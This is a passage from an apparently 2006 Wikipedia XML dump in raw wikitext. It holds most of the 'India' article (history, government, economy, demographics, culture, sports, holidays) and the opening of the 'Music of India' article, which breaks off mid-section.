area_rank = 7th |
area_magnitude = 1 E12 |
percent_water = 9.56 |
population_estimate = 1,112,225,812|
population_estimate_year = 2006 |
population_estimate_rank = 2nd |
population_census = 1,027,000,000 |
population_census_year = 2001 |
population_density = 329 |
population_density_rank = 19th |
GDP_PPP_year = 2005 |
GDP_PPP = $3.678 trillion |
GDP_PPP_rank = 4th |
GDP_PPP_per_capita = $3400 |
GDP_PPP_per_capita_rank = 125th |
HDI_year = 2003 |
HDI = 0.602 |
HDI_rank = 127th |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence of India|Independence]] |
established_events = &amp;nbsp;- Declared&lt;br /&gt;&amp;nbsp;- Republic |
established_dates = From the [[United Kingdom]]&lt;br /&gt;[[1947-08-15]]&lt;br /&gt;[[1950-01-26]] |
currency = [[Indian Rupee|Rupee]] (Rs.)&lt;sup&gt;1&lt;/sup&gt; |
currency_code = INR |
time_zone = [[Indian Standard Time|IST]] |
utc_offset = +5:30 |
time_zone_DST = not observed |
utc_offset_DST = +5:30|
cctld = [[.in]] |
calling_code = 91 |
footnotes = &lt;sup&gt;1&lt;/sup&gt; '''Re.''' is singular 
}}

The '''Republic of India''' is a country in [[South Asia]] which comprises of the majority of the [[Indian subcontinent]]. It has a coastline of over seven thousand kilometres,{{inote|see Indian embassy|i-1}} borders [[Pakistan]] to the west, the [[People's Republic of China]], [[Nepal]], and [[Bhutan]] to the northeast, and [[Bangladesh]] and [[Myanmar]] to the east. On the [[Indian Ocean]], it is adjacent to three [[island nation]]s — the [[Maldives]] to the southwest, [[Sri Lanka]] to the south, and [[Indonesia]] to the southeast. India also claims a border with [[Afghanistan]] to the northwest.{{mn|afgh|1}}

The name ''India'' /{{IPA|'ɪndiə}}/ is derived from the [[Old Persian]] version of ''[[Sindhu]]'', the historic local name for the [[Indus river]] (see [[Origin of India's name]]). The [[Constitution of India]] and common usage also recognise '''Bharat''' ({{lang-hi|भारत}} {{IPA|/bʰɑːrət̪/}} {{Audio|Bharat.ogg|listen}}) as an official name of equal status. This name is derived from the [[Sanskrit language|Sanskrit]] name of an ancient [[Hindu]] king whose story can be found in the [[Mahabharata]] [[epic poem]]. A third name, '''[[Hindustan]]''' ({{lang-hi|हिन्दुस्तान}} &lt;!-- THIS SPELLING IS CORRECT. PLEASE READ [[Wikipedia:Enabling complex text support for Indic scripts]] --&gt; /{{IPA|hin̪d̪ust̪ɑːn}}/) {{Audio|Hindustan.ogg|listen}} ([[Persian language|Persian]]: ''[[-stan|Land]] of the Hindus'') has been used since the twelfth century, though its contemporary use is unevenly applied due to domestic disputes by some over its representation as a national signifier.

India is the fourth largest economy in the world in terms of [[purchasing power parity]], and the tenth largest in absolute terms. It is the [[List of countries by population| second most populous]] [[country]] in the world, with a [[population]] of over [[1 E9|one billion]], and is the [[List of countries by area|seventh largest]] country by geographical [[area]]. It is home to some of the most [[Indus Valley Civilisation|ancient civilisations]], and a centre of important historic [[Trade route|trade routes]]. Four [[major world religions]]: [[Hinduism]], [[Buddhism]], [[Jainism]] and [[Sikhism]] have Indian origins. Formerly a major part of the [[British Empire]] as the [[British Raj]] before gaining [[Indian independence movement|independence]] in 1947, during the past twenty years the country has grown significantly, especially in its [[Economy of India|economic]] and [[Military of India|military]] spheres, [[Regional power|regionally]] as well as [[Geopolitics|globally]].

==History==
&lt;!-- THIS SECTION IS A SUMMARY. CONSIDER ADDING MATERIAL TO THE 'HISTORY OF INDIA' ARTICLE.--&gt;
{{main|History of India}}
[[Stone Age]] rock shelters with paintings at [[Bhimbetka]] in [[Madhya Pradesh]] are the earliest known traces of human life in present-day India. The first known permanent settlements appeared over 9,000 years ago, and gradually developed into the [[Indus Valley Civilisation]], which began around [[3300 BC]] and peaked between [[2600 BC]] and [[1900 BC]]. It was followed by the [[Vedic Civilisation]]. From around [[550 BC]], many independent kingdoms came into being. 

In the north, the [[Mauryan empire|Maurya dynasty]], which included [[Ashoka]], contributed greatly to India's cultural landscape. From [[180 BC]], a series of invasions from [[Central Asia]] followed. This led to the establishment of the [[Indo-Greek]], [[Indo-Scythian]] and [[Indo-Parthian]] kingdoms in the northern [[Indian Subcontinent]], and finally the [[Kushan Empire]]. From the 3rd century AD, the [[Gupta|Gupta dynasty]] oversaw the period referred to as ancient India's &quot;Golden Age&quot;. 

In the south, several dynasties, including the [[Chalukyas]], [[Cheras]], [[Cholas]], [[Kadambas]], [[Pallavas]] and [[Pandyas]] prevailed during different periods. [[Ancient Indian science and technology|Science, engineering]], [[Indian art|art]], [[Indian literature|literature]], [[Indian Mathematics|mathematics]], [[Indian science|astronomy]], [[Religion in India|religion]] and [[Indian philosophy|philosophy]] flourished under the patronage of these kings. 

[[Image:Sanchi2.jpg|thumb|270px|The [[Sanchi|Sanchi stupa]] in Sanchi, [[Madhya Pradesh]] built by emperor [[Ashoka]] in the 3rd century BC]]
Following the [[Islamic invasion of India|Islamic invasions]] from Central Asia and Persia in the beginning of the second millennium AD, much of north and central India came under the rule of the [[Delhi Sultanate]], and later the [[Mughal empire|Mughal dynasty]], who gradually expanded their reign to much of the Indian subcontinent. Nevertheless, several indigenous kingdoms flourished, especially in the relatively sheltered south, one of which was the [[Vijayanagara Empire]].

During mid-second millennium AD, several [[Europe]]an countries, including [[Portugal]], [[Netherlands]], [[France]] and the [[United Kingdom]], who initially wanted to trade with India, took advantage of the fractured kingdoms fighting each other, to establish [[colony|colonies]] in the country. An 1857 insurrection against the [[British East India Company]] failed, known locally as the [[Sepoy Mutiny|First War of Indian Independence]], and in British and some Western literature as the Indian Mutiny, Sepoy Mutiny or Sepoy Rebellion.  After it was put down, much of India came under the direct administrative control of the crown of the [[British Empire]].

In 1918, India was severly struck by the [[Spanish flu pandemic]],
suffering an estimated death toll of 17 million (a mortality rate of around 5% of the population). 

In the early twentieth century, the prolonged, non-violent [[Indian independence movement|struggle for independence]] was led by [[Mahatma Gandhi]], widely regarded as the &quot;Father Of The Nation.&quot; The struggle culminated on [[1947-08-15]], when India gained full independence from British rule, and became a [[republic]] on [[1950-01-26]].

As a [[ethnic|multi-ethnic]] and multi-religious nation, India has had some sectarian violence and [[insurgency|insurgencies]] in various parts of the country, but has stayed together as a vibrant [[democracy]]. It has unresolved border disputes with [[People's Republic of China|China]] (which escalated into the brief [[Sino-Indian War]] in 1962), and with [[Pakistan]], which resulted in wars in [[Indo-Pakistani War of 1947|1947]], [[Indo-Pakistani War of 1965|1965]], [[Indo-Pakistani War of 1971|1971]] and in 1999 in [[Kargil]] (at the northern fringe of [[Jammu and Kashmir]] State).  India is a founding member of the [[Non-Aligned Movement]] and the [[United Nations]]. In 1974, India conducted an underground [[Smiling Buddha|nuclear test]], making it an unofficial member of the &quot;[[nuclear club]]&quot;. This was followed by a series of [[Operation Shakti|five more]] tests in  in 1998. Significant economic reforms beginning in 1991 have transformed India into one of the fastest-growing economies in the world, and added to its global and regional clout. Today India is considered as one of the [[major powers]] and also as one of the [[Superpower#Potential Superpowers|emerging future superpowers]].

{{see also|History of South India|Military history of India|Timeline of Indian history}}

==Government==
{{main|Government of India}}

{| class=&quot;toccolours&quot; style=&quot;float: right; margin: 1em; padding: 1em; width: 220px; border-collapse: collapse; font-size: 95%; clear: right&quot;
|+ National symbols of India
|- 
| style=&quot;padding-left: 1em;&quot; | '''Flag'''
| [[Tiranga]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Emblem'''
| [[Emblem of India|Sarnath Lion]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Anthem'''
| [[Jana Gana Mana]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Song'''
| [[Vande Mataram|Vand&amp;#275; M&amp;#257;taram]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Animal''' 
| [[Bengal Tiger|Royal Bengal Tiger]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Bird'''
| [[Indian Peacock]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Flower'''
| [[Image:Nelumbo nucifera1.jpg|30px]] [[Nelumbo nucifera|Lotus]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Tree'''
| [[Banyan]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Fruit'''
| [[Mango]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Sport'''
| [[Field Hockey]]
|-
| style=&quot;padding-left: 1em;&quot; | '''Calendar'''
| [[Indian National Calendar|Saka]]
|
|}

India is a [[sovereignty|sovereign]], [[socialist]], [[secular]], [[democratic]] [[republic]]. India has a quasi-federal form of government and a [[bicameral]] [[parliament]] operating under a [[Westminster System|Westminster-style]] parliamentary system. It has a three branches of governance: the [[Legislature]], [[Executive]] and [[Judiciary]].

The [[President of India|President]] is the [[head of state]], and has a largely ceremonial role, including interpreting the constitution, signing laws into action and issuing pardons. He is also the [[Commander-in-Chief]] of [[Indian military|India's  armed forces]]. The President and the [[Vice-President of India|Vice President]] are elected indirectly by an [[electoral college]] for five-year terms. The [[Prime Minister of India|Prime Minister]] is the [[head of government]], and has most executive powers. He or she is elected by legislators of the political party or [[coalition]] commanding a parliamentary majority, and serves a five-year term, with re-election. The constitution does not explicitly provide for a post of Deputy Prime Minister, but this option has been exercised from time to time.

The legislature of India is the bicameral [[Indian Parliament|Parliament]], which consists of the upper house called the ''[[Rajya Sabha]]'' (Council of States), and the lower house called the ''[[Lok Sabha]]'' (House of the People). The 245-member ''Rajya Sabha'' is chosen indirectly through an electoral college, and has a staggered six-year term. The 545-member ''Lok Sabha'' is directly elected by popular vote for a five-year term, and is the determinative constituent of political power and government formation. All Indian citizens above age 18 are eligible to vote.

The executive arm consists of the President, Vice-President and the [[Council of Ministers]] (the [[Cabinet]]), headed by the Prime Minister. Any minister holding a portfolio must be a member of either house of parliament. In the Indian parliamentary system, the executive is subordinate to the legislature.

India's independent judiciary consists of the [[Supreme Court of India|Supreme Court]], headed by the [[Chief Justice of India]]. The Supreme Court has both original jurisdiction over disputes between states and the Centre, and appellate jurisdiction over the High Courts of India. There are 18 appellate High Courts, each having jurisdiction over a state or a group of smaller states. Each of these states has a tiered system of lower courts. A conflict between the legislature and the judiciary is referred to the President.

==Politics==
{{main|Politics of India}}
[[image:IndiaMap2.PNG|thumb|270px|Map of India.{{mn|LoC|2}}]]
For most of its independent history, India has been ruled by the [[Indian National Congress Party]] (INC). Following its position as the largest political organisation in pre-independence India, the INC, usually led by a member of the [[Nehru]]-[[Indira Gandhi|Gandhi]] family, dominated national politics for over four decades. In 1975, the government led by Indira Gandhi imposed ''[[Indian Emergency|Emergency Rule]]'' across the nation. After emergency was lifted in 1977, and fresh elections were called, a united opposition, under the banner of the [[Janata Party]] won the elections and formed a non-Congress government for a short period. In 1996, the [[Bharatiya Janata Party]] (BJP), a [[political party]] with a [[Right-wing politics|right-wing]] nationalist ideology, became the largest single party, and established, for the first time, a serious opposition to the largely left-centered Congress. But power was ''de facto'' held by two successive coalition governments, with the active support of the Congress. In 1998, the BJP formed the [[National Democratic Alliance]] (NDA) along with smaller regional parties, and became the first non-Congress government to sustain a full five-year tenure. The decade prior to 1999 was marked by a state of political flux, with seven separate governments formed within that period.

In the [[Indian general elections, 2004|2004 Indian elections]] the INC returned to power after winning the largest number of seats. It formed a government in alliance with several regional parties, known as the [[United Progressive Alliance]] (UPA), with the outside support of the [[Communist Party of India (Marxist)]] (CPI(M)). The NDA, led by the BJP, currently forms the main opposition. All governments since 1996 have required party coalitions, with no single party claiming a majority, due to the steady rise of regional parties at the national level.
{{see also|List of recognised political parties in India|Indian election process|Parliament of India|Foreign relations of India}}

==States and union territories==
{{main|States and territories of India}}

India is divided into twenty-eight states (which are further subdivided into [[districts of India|districts]]), six [[union territories|Union Territories]] and the [[national capital territory|National Capital Territory]] of [[Delhi]]. States have their own elected government, whereas Union Territories are governed by an administrator appointed by the Union Government, though some have elected governments.

{{India states}}
India has had two scientific bases in [[Antarctica]] &amp;ndash; the [[Dakshin Gangotri]] and [[Maitri]], but has made no territorial claims so far. 
{{see also|List of states of India by population|List of cities in India}}

==Geography==
{{main|Geography of India}}
[[Image:Yumthanghimalayas.jpg|thumb|270px|The [[Himalaya]] stretch from [[Jammu and Kashmir]] in the north to [[Arunachal Pradesh]] in the far east making up most of India's eastern borders]]

India's northern and northeastern states are partially situated in the [[Himalaya|Himalayan Mountain Range]]. The rest of northern, central and eastern India consists of the fertile [[Indo-Gangetic plain]]. In the west, bordering southeast [[Pakistan]], lies the [[Thar Desert]]. The southern Indian Peninsula is almost entirely composed of the [[Deccan|Deccan plateau]], which is flanked by two hilly coastal ranges, the [[Western Ghats]] and [[Eastern Ghats]].

India is home to several major rivers, including the [[Ganges|Ganga]], [[Brahmaputra]], [[Yamuna]], [[Godavari]], [[Kaveri]], and [[Krishna River|Krishna]]. India has three archipelagos &amp;ndash; [[Lakshadweep]] off the southwest coast, the [[Andaman and Nicobar Islands]] volcanic island chain to the southeast, and the [[Sunderbans]] in the Gangetic Delta in [[West Bengal]] State.

The Indian [[climate]] varies from [[tropical climate|tropical]] in the south to more [[temperate climate|temperate]] in the north. Parts of India which lie in the Himalayas have a [[tundra]] climate. India gets most of its rains through the [[monsoon]]s.

{{see also|Climate of India|Ecoregions of India|National parks of India|Geology of India}}

==Economy==
{{main|Economy of India}}
[[Image:Bombay-Stock-Exchange.jpg|thumb|250px|The [[Bombay Stock Exchange]] sensitive index is used as a determinant of the strength of the Indian economy.]]
[[Image:Rupees1000.jpg|270px|thumb|A thousand-rupee note]]
India's economy ranks tenth in the world in terms of currency conversion (GNP), and fourth in terms of [[Purchasing power parity]] (PPP). It recorded one of the fastest growth rates (8.1%) for the fourth quarter of 2005. Per-capita income (by PPP) is [[USD |US$]] 3100, [[List of countries by GDP (PPP) per capita|ranked 125th]] according to the [[World Bank]]. India's [[foreign exchange]] reserves amount to over US$ 145 billion.{{inote|see ecotimes|i-2}} [[Mumbai]] is the financial capital and home to the headquarters of the [[Reserve Bank of India]] and the pre-eminent [[Bombay Stock Exchange]]. While a quarter of Indians still live below the [[poverty line]], a large [[middle class]] has now emerged along with the rapid growth of the [[information technology]] (IT) and [[service industry|service industries]].

The Indian economy has shed much of its historical dependence on [[agriculture]], which now contributes about 21% to GDP.{{inote|see Indian economy|i-3}} Other important industries are [[mining]], [[petroleum]], [[diamond]] polishing, [[film industry|films]], [[textile]]s, IT and [[business process outsourcing]] (BPO) services, [[pharmaceuticals]] and [[chemicals]], and [[handicrafts]]. Most of India's industrial regions are centred around major cities. In recent years, India has emerged as one of the largest players in the [[software industry|software]] and BPO industries, with revenues of US$ 17.2 billion in 2004 to 2005.{{inote|software}} Many small-scale industries provide steady employment to workers in small towns and villages.

While India receives only around three million foreign visitors a year, tourism is still an important but under-developed source of national income. Tourism contributes 5.3% of GDP, about US$4 billion in foreign exchange.{{inote|tourism}}. Directly and indirectly, it generates an estimated 42 million jobs, about 10% of India's work force. India's major trading partners are the [[United States]], the [[European Union]], [[Japan]], [[People's Republic of China|China]] and the [[United Arab Emirates]].{{inote|trade}}

India's main exports include agricultural products, [[textile]] goods, gems and [[jewelry]], software services, engineering goods, chemicals and [[leather]] products, while its main imports are [[crude oil]], machinery, gems, [[fertiliser]], and chemicals. For the year 2004, India's total exports stood at US$ 69.18 billion, imports at US $89.33 billion.{{inote|figure}}

{{see also|List of Indian companies}}

==Demographics== 
{{main|Demographics of India}}
India is the second-most populous country in the world, after [[China]]. Language, religion, and [[caste]] are major determinants of social and political organisation within the highly diverse population. Its biggest [[metropolitan area|metropolitan]] agglomerations are [[Mumbai]] (formerly ''Bombay''), [[Delhi]], [[Kolkata]] (formerly ''Calcutta'') and [[Chennai]] (formerly ''Madras'').

India's [[literacy|literacy rate]] is 64.8%, 53.7% for females and 75.3% of males. The sex ratio is 933 females per 1000 males.{{inote|literacy}} [[Work Participation Rate]] (WPR; the percentage of workers to total population) is 39.1%, with male WPR at 51.7% and female WPR at 25.6% {{inote|eu}} India's median age is 24.66, and the population growth rate is 22.32 births per 1,000.{{inote|demostats}}

[[Image:Akshardhamindelhi.jpg|thumb|270px|The [[Akshardham]] [[Hindu]] temple, [[Delhi]] ]]
Although 80.5% of the people are [[Hinduism|Hindus]], India is also home to the [[Islam by country|third-largest]] population of [[Muslim]]s in the world (13.4%; see [[Islam in India]]), after [[Indonesia]] and [[Pakistan]]. Other religious groups include [[Christianity|Christians]] (2.3%), [[Sikhism|Sikhs]] (1.84%), [[Buddhism|Buddhists]] (0.76%), [[Jainism|Jains]] (0.40%), [[Jew]]s, [[Zoroastrians]], [[Ahmadi|Ahmadi-muslims]], and [[Bahá'í Faith|Bahá'í]]s.{{inote|religion}}

India is home to two major [[Languages of India|linguistic families]]: [[Indo-Aryan]] (spoken by about 74% of the population) and [[Dravidian languages|Dravidian]] (spoken by about 24%). Other languages spoken in India come from the [[Austro-Asiatic]] and [[Tibeto-Burman]] linguistic families. The Indian constitution recognises 23 official languages{{ref|languages}}. [[Hindi]] and [[English language|English]] are used by the [[Government of India|Central Government]] for official purposes. Two [[classical languages]] native to the land are [[Sanskrit]] and [[Tamil language|Tamil]]. The number of [[Indian languages|mother tongues]] in India is as high as 1,652.{{inote|tongues}}

==Culture==
{{main articles|[[Arts and Entertainment in India]] and [[Culture of India]]}}
[[Image:Taj Mahal in March 2004.jpg|thumb|270px|right|The [[Taj Mahal]] in [[Agra]] is India's most popular tourist destination.]]

India has a rich and unique cultural heritage, and has managed to preserve its established traditions throughout history. It has always absorbed customs, traditions and ideas from both invaders and immigrants. Many cultural practices, languages, customs and even monuments are examples of this co-mingling over centuries. Famous monuments, such as the [[Taj Mahal]] and other examples of Islamic-inspired architecture have been inherited from the Mughal dynasty. These are the result of a syncretic tradition that combined elements from all parts of the country.

Indian society is largely pluralist, multilingual and multicultural. Religious practices of various faiths are an integral part of everyday life in society. Education is highly regarded by members of every socio-economic stratum. Traditional Indian family values are highly respected, and considered sacred, although urban families have grown to prefer a [[nuclear family]] system, owing to the socio-economic constraints imposed by the traditional [[complex family|joint family]] system.

Religion in India is a very public affair, with many practices imbued with pomp and vitality accompanying their underlying spiritual qualities. 
[[Image:gumpa.jpg|thumb|270px|The Gumpa dance is a mystic dance celebrated by the [[Tibetan Buddhism|Tibetan Buddhist]] community in [[Sikkim]] during the Buddhist New Year &amp;mdash; [[Losar]]]]

A melting pot of many religions, India has a rich diversity of [[Indian festivals|festivals]], many of which are celebrated by all, irrespective of caste and creed. The most widely known and popular celebrations include the Hindu festivals of [[Diwali]], [[Holi]], and [[Dussehra]], and the Muslim celebration of [[Eid]]. 

[[Music of India|Indian music]] is represented in a wide variety of forms. The two main forms of [[Indian classical music|classical music]] are ''[[Carnatic music|Carnatic]]'' from [[South India]], and ''[[Hindustani classical music|Hindustani]]'' from [[North India]]. Popular forms of music also prevail, the most notable being [[Filmi music]]. In addition to this are the diverse traditions of [[Indian folk music|folk music]] from different parts of the country. Many [[Indian classical dance|classical dance forms]] exist, including the [[Bharatanatyam]], [[Kathakali]], [[Kathak]] and [[Manipuri]]. They often have a narrative form (based on the [[itihasa]] (Indian epics), and are usually infused with devotional and spiritual elements. 

The earliest [[Indian literature|literary traditions]] in India were mostly oral, and were later transcribed. Most of these spring from Indian (later called [[Hindu]]) traditions, and are represented by sacred works like the [[Vedas]] and the epics of the [[Mahabharatha]] and [[Ramayana]]. [[Sangam]] literature from Tamil Nadu represents some of India's oldest traditions. There have been many notable modern Indian writers, both in Indian languages and [[Indian Writing in English|in English]]. India's only [[Nobel Prize for Literature|Nobel laureate in literature]] was the [[Bengali language|Bengali]] writer [[Rabindranath Tagore]].

[[Image:Lunch from Karnataka on a plantain leaf.jpg|thumb|270px|Food in south India is traditionally eaten on a plantain leaf.]]
India produces the world's largest number of [[Cinema of India|movies]] every year. The most recognisable face is that of cinema production based in [[Mumbai]], which produces mainly commercial [[Hindi]] films, often referred to as &quot;[[Bollywood]]&quot;. Cinema in other vernacular languages is also particularly strong, with movies regularly produced in well-established [[Kannada language|Kannada]], [[Malayalam]], [[Tamil language|Tamil]] and [[Telugu language|Telugu]] industries. India's contribution to world cinema was the internationally renowned [[Bengali language|Bengali]] director [[Satyajit Ray]], who in 1992 won an [[Academy Honorary Award|Academy Award for Lifetime Achievement]].

[[Rice]] and [[wheat]] are the staple foods in the country. The [[cuisine of India]] is extremely diverse, as ingredients, spices and cooking methods vary from region to region. The country is notable for its wide variety of [[vegetarian]] and non vegetarian [[wikibooks:Cookbook:Cuisine of India|cuisine]]. Spicy food and sweets are popular in India. [[Indian Dress|Traditional dress]] in India greatly varies across the regions in its colours and styles, and depend on various factors, including climate. The traditional [[sari]] is a popular style of dress for women. Traditional raiments for men is [[dhoti]].
{{see also|List of World Heritage sites in India|Indian architecture|Indian family name|Cuisine of India}}

==Sports and games==
{{main|Sports in India}}

India's national sport is [[field hockey]], although [[cricket]] is now the ''de facto'' national game due to its success and popularity in recent times. However, cricket is not the most popular sport in some states, particularly in the North Eastern parts of the country where soccer is favoured more. [[Chess]] is another international sport in which India is quite strong: [[Viswanathan Anand]] was [[FIDE]] World Champion, and several players have made significant inroads in recent years, well past the [[International Grandmaster|Grandmaster]] level. India also has a tradition of cue sports ([[snooker]], [[billiards]], etc) and shooting.

India has had relatively little success in other international events like the [[Olympics]], where it garnered just one silver medal and two bronze medals in the previous three outings. However, it had won eight [[field hockey]] golds until 1980. India has done rather well in [[Davis Cup]] [[tennis]] tournaments, reaching the finals on three occasions. Its players have secured several individual titles and [[Grand Slam (tennis)|Grand Slam]] doubles wins, but an Indian is yet to win a Grand Slam singles.

Traditional indigenous sports include [[polo]], [[kabaddi]], [[Kho Kho]] and [[gilli-danda]], which are played in most parts of the country. Chess, [[badminton]] and [[carrom]] are also said to have originated in India. Snooker and badminton have seen Indians achieve some international success. [[Football (soccer)]] is also widely watched in almost the entire country, and is the most popular sport in many states , though India ranks above 100 in the FIFA rankings. [[Formula 1]] racing is also increasing in popularity, due to racing driver [[Narain Karthikeyan]], though its reach is largely limited to urban areas.

==Holidays==
{{main|List of Festivals in India}}

India has three National Holidays. Other sets of holidays, varying between nine to twelve, pertains to festivals, religious holidays and births of leaders which are legislated by the individual states.
&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;90%&quot; style=&quot;border-collapse:collapse; border:1px solid #aaa; text-align:left&quot;
|-
! style=&quot;background:#efefef;&quot; width=&quot;15%&quot; | Date
! style=&quot;background:#efefef;&quot; width=&quot;20%&quot; | Holiday
! style=&quot;background:#efefef;&quot; | Remarks
|-
| [[26 January]]
| [[Republic Day of India|Republic Day]]
| The constitution of India came into effect on this day in the year 1950.
|-
| [[15 August]]
| [[Indian Independence Day|Independence Day]]
| India gained its independence from the British Empire on this day in 1947.
|-
| [[2 October]]
| [[Gandhi Jayanti]]
| The birth anniversary of [[Mahatma Gandhi]].
|}
&lt;/center&gt;

==See also==
{{Topics related to India}}

==External links==
{{portal}}
{{sisterlinks|India}}

&lt;!--PLEASE ADD SITES RELATING TO INDIA AS A WHOLE. EXTERNAL LINKS PERTAINING TO SPECIFICS SHOULD BE PLACED IN THE CORRESPONDING ARTICLES. --&gt;
; '''Official'''
* [http://india.gov.in/ Offical Portal of Indian Government] 
* [http://goidirectory.nic.in GOI Directory] — Directory of governmental websites
* [http://indiaimage.nic.in/ Indiaimage National Informatics Centre] — Basic Portal to Govt. of India Websites

; '''Other'''
&lt;!-- Include ONLY links that pertain to India as a whole. Maps are linked from the country's latitude/longitude. --&gt;
*{{wikitravel}}
*{{wikicities|india|India}}
*[http://www.cia.gov/cia/publications/factbook/geos/in.html CIA — The World Factbook — India] — [[CIA]]'s Factbook on India
*[http://news.bbc.co.uk/1/hi/world/south_asia/country_profiles/1154019.stm Country Profile: India ] — [[BBC]]'s Country Profile on India

==References==
{{explain-inote}}
* {{Web reference | title = India facts and figures | work = Embassy of India | URL = http://www.indianembassy.org/dydemo/indiaprofile/profile.htm | date = August 14 | year = 2005 }}
* {{Web reference | title = Forex reserves up by $1bn | work = [[Economic Times]] | URL = http://economictimes.indiatimes.com/articleshow/1093864.cms | date = August 14 | year = 2005 }}
* {{Web reference | title = India Economy | work = Travel Document Systems | URL = http://www.traveldocs.com/in/economy.htm | date = August 14 | year = 2005 }}
* {{Web reference | title = Services | work = India in Business | URL = http://www.indiainbusiness.nic.in/india-profile/ser-infotech.htm | date = August 14 | year = 2005 }}
* {{Web reference | title = Destination India: An Unpolished Diamond | work = [[Times of India]] | URL = http://timesfoundation.indiatimes.com/articleshow/819309.cms | date = August 14 | year = 2005 }}
* {{Web reference | title = CIA Factbook : India | work = CIA Factbook | URL = http://www.cia.gov/cia/publications/factbook/geos/in.html | date = August 14 | year = 2005 }}
* {{Web reference | title = Provisional Population Totals 2001 Census | work = Census of India | URL = http://www.censusindia.net/results/resultsmain.html | date = August 14 | year = 2005 }}
* {{Web reference | title = Debating India &amp; India's literacy rate | work = Debating India | URL = http://india.eu.org/1963.html | date = August 14 | year = 2005 }}
* {{Web reference | title = India – Country profiles | work = indexmundi.com | URL = http://www.indexmundi.com/India/ India | date = August 14 | year = 2005 }}
* {{Web reference | title = Census of India 2001, Data on Religion | work = Census of India | URL = http://www.censusindia.net/results/religion_main.html | date = August 14 | year = 2005 }}
* {{Web reference | title = Languages of India | work = India image | URL = http://indiaimage.nic.in/languages.htm | date = August 14 | year = 2005 }}
* {{cite book | first = K.M. | last = Matthew | title = Manorama Yearbook 2003 | publisher = Malaya Manorama | year = 2003 | id = ISBN 8190046187 | pages = pg 524 }}

==Notes==
*{{mnb|afgh|1}} The Government of India considers the entire state of [[Jammu and Kashmir]] to be a part of India. This state borders a part of [[Afghanistan]]. A ceasefire sponsored by the [[United Nations]] in 1948 freezes the positions of Indian and Pakistani held territory. As a consequence, the region bordering Afghanistan is in Pakistani-administered territory.
*{{mnb|LoC|2}} The black line is the boundary as recognised by the government of India. The northern region of [[Kashmir]] is currently administered by India, Pakistan, and China (and coloured in as such). The delimiting of the three administered regions is ''not'' the international boundary but a ceasefire line demarcated in red. The boundary separating India and Pakistan is known as the [[Line of Control]], that separating India and China as the '[[Line of Actual Control]]'. Most of the state of [[Arunachal Pradesh]] is still claimed by China.

----
* '''India''' is also the letter '''[[I]]''' in the [[NATO phonetic alphabet]].

{{India ties}}
{{Life in India}}

{{featured article}}

[[Category:India|*]]
[[Category:Republics]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:SAARC members]]
[[Category:Former British colonies]]

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[[te:భారత దేశము]]
[[tg:Ҳиндустон]]
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[[tl:Indya]]
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[[tr:Hindistan]]
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[[zh-min-nan:Ìn-tō·]]</text>
    </revision>
  </page>
  <page>
    <title>Music of India</title>
    <id>14535</id>
    <revision>
      <id>40603437</id>
      <timestamp>2006-02-21T19:38:28Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.128.153.17|86.128.153.17]] ([[User talk:86.128.153.17|talk]]) to last version by 62.3.32.56</comment>
      <text xml:space="preserve">{{Indianmusic}}
The '''music of [[India]]''' includes multiple varieties of [[folk music|folk]], [[popular music|popular]], [[pop music|pop]], and [[Indian classical music|classical music]]. India's classical music tradition, including [[Carnatic music|Carnatic]] and [[Hindustani music]], has a history spanning millennia and, developed over several eras, remains fundamental to the lives of Indians today as sources of religious inspiration, cultural expression and pure entertainment. India is made up of several dozen [[ethnic group]]s, speaking their own [[language]]s and [[dialect]]s. Alongside distinctly [[Indian subcontinent|subcontinental]] forms there are major influences from [[Persian music|Persian]], [[Arab music|Arab]] and [[British music]]. Indian genres like [[filmi]] and [[bhangra]] have become popular throughout the [[United Kingdom]], [[South Asia|South]] and [[East Asia]], and around the world.  

Indian pop stars now sell records in many countries, while [[world music]] fans listen to the roots music of India's diverse nations. American [[soul music|soul]], [[rock and roll|rock]] and [[hip hop music|hip hop]] have also made a large impact, primarily on Indian pop and filmi music. Other highly popular forms are [[ghazal]], [[qawwali]], [[thumri]], [[dhrupad]], [[dadra]], [[bhajan]], [[kirtan]], [[shabad]], and [[gurbani]].

The earliest texts of Indian music are the [[Natya Shastra]], [[Dattilam]], [[Brihaddeshi]], and the [[Sangita-Ratnakara]].

==Pop music==
''Main article: [[Indian pop]].''

The biggest form of Indian [[pop music]] is [[filmi]], or songs from Indian musical films.  Independent pop acts such as Alisha Chenoy,Shaan,and rock bands like [[Indus Creed]],Indian Ocean,[[Euphoria_band_india | Euphoria]]  exist and have gained mass appeal with the advent of cable music television. As far as Western rock music is concerned, one of the greatest personalities in rock history, [[Freddie Mercury]] of the legendary band [[Queen (band)|Queen]] had Indian Parsi roots, starting his first band in the Indian boarding school of St. Peters in [[Panchgani]].

===Filmi===
''Main article: [[Filmi]]''

Many languages are spoken in India, and there are film industries for each of the major languages (see [[Indian cinema]]). Film music is mostly used in commercial Indian cinema, which is mainly produced in the centres of [[Mumbai]], [[Chennai]] and [[Hyderabad, India|Hyderabad]]. Indian movies are best-known for their music, and composers (music directors). Today's most popular music director, [[A.R. Rahman]], got his start in Tamil films and then moved to Bollywood. Well-known music directors of the past include [[Naushad]], [[R.D. Burman]] and [[Ilayaraaja]]. 

Most Indian films are musicals. The actors generally do not sing, but lip-synch to songs sung by such accomplished [[playback singer]]s as 
[[Yesudas]],[[Lata Mangeshkar]], [[Asha Bhosle]], [[Alka Yagnik]], [[Mohammed Rafi]], [[Kishore Kumar]],[[S.P. Balasubrahmaniam]] and [[Jayachandran]]. 

